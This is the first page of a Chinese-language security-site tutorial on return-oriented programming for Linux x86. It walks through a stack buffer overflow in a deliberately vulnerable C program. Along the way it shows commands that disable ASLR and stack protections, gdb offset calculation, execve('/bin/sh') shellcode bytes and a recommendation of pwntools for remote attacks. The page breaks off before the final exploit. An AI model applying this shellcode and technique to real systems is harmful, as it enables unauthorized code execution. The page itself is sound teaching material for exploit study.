欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

一步一步学ROP之linux_x86篇

来源:本站整理 作者:佚名 时间:2015-06-12 TAG: 我要投稿

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。虽然现在大家都在用64位的操作系统,但是想要扎实的学好ROP还是得从基础的x86系统开始,但看官请不要着急,在随后的教程中我们还会带来linux_x64以及android (arm)方面的ROP利用方法,欢迎大家继续学习。
小编备注:文中涉及代码可在文章最后的github链接找到。
0x01 Control Flow Hijack 程序流劫持
比较常见的程序流劫持就是栈溢出,格式化字符串攻击和堆溢出了。通过程序流劫持,攻击者可以控制PC指针从而执行目标代码。为了应对这种攻击,系统防御者也提出了各种防御方法,最常见的方法有DEP(堆栈不可执行),ASLR(内存地址随机化),Stack Protector(栈保护)等。但是如果上来就部署全部的防御,初学者可能会觉得无从下手,所以我们先从最简单的没有任何保护的程序开始,随后再一步步增加各种防御措施,接着再学习绕过的方法,循序渐进。
首先来看这个有明显缓冲区溢出的程序:
#include
#include
#include
 
void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}
 
int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}
这里我们用
#bash
gcc -fno-stack-protector -z execstack -o level1 level1.c
这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。同时我们在shell中执行:
sudo -s
echo 0 > /proc/sys/kernel/randomize_va_space
exit
这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。
接下来我们开始对目标程序进行分析。首先我们先来确定溢出点的位置,这里我推荐使用pattern.py这个脚本来进行计算。我们使用如下命令:
python pattern.py create 150
来生成一串测试用的150个字节的字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
随后我们使用gdb ./level1调试程序。
(gdb) run
Starting program: /home/mzheng/CTF/groupstudy/test/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
 
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
我们可以得到内存出错的地址为0x37654136。随后我们使用命令:
python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
就可以非常容易的计算出PC返回值的覆盖点为140个字节。我们只要构造一个”A”*140+ret字符串,就可以让pc执行ret地址上的代码了。
接下来我们需要一段shellcode,可以用msf生成,或者自己反编译一下。
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
 
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
这里我们使用一段最简单的执行execve ("/bin/sh")命令的语句作为shellcode。
溢出点有了,shellcode有了,下一步就是控制PC跳转到shellcode的地址上:
[shellcode][“AAAAAAAAAAAAAA”….][ret]
^------------------------------------------------|
对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变,但当我们直接执行./level1的时候,buf的位置会固定在别的地址上。怎么解决这个问题呢?
最简单的方法就是开启core dump这个功能。
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后我们再用gdb查看这个core文件就可以获取到buf真正的地址了。
$./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
 
$ gdb level1 /tmp/core.1433844471
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
 
(gdb) x/10s $esp-144
0xbffff290:  "ABCD", 'A' times>, "\n\374\267`\204\004\b"
0xbffff335:  ""
因为溢出点是140个字节,再加上4个字节的ret地址,我们可以计算出buffer的地址为$esp-144。通过gdb的命令 “x/10s $esp-144”,我们可以得到buf的地址为0xbffff290。
OK,现在溢出点,shellcode和返回值地址都有了,可以开始写exp了。写exp的话,我强烈推荐pwntools这个工具,因为它可以非常方便的做到本地调试和远程攻击的转换。本地测试成功后只需要简单的修改一条语句就可以马上进行远程攻击。

[1] [2] [3] [4]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载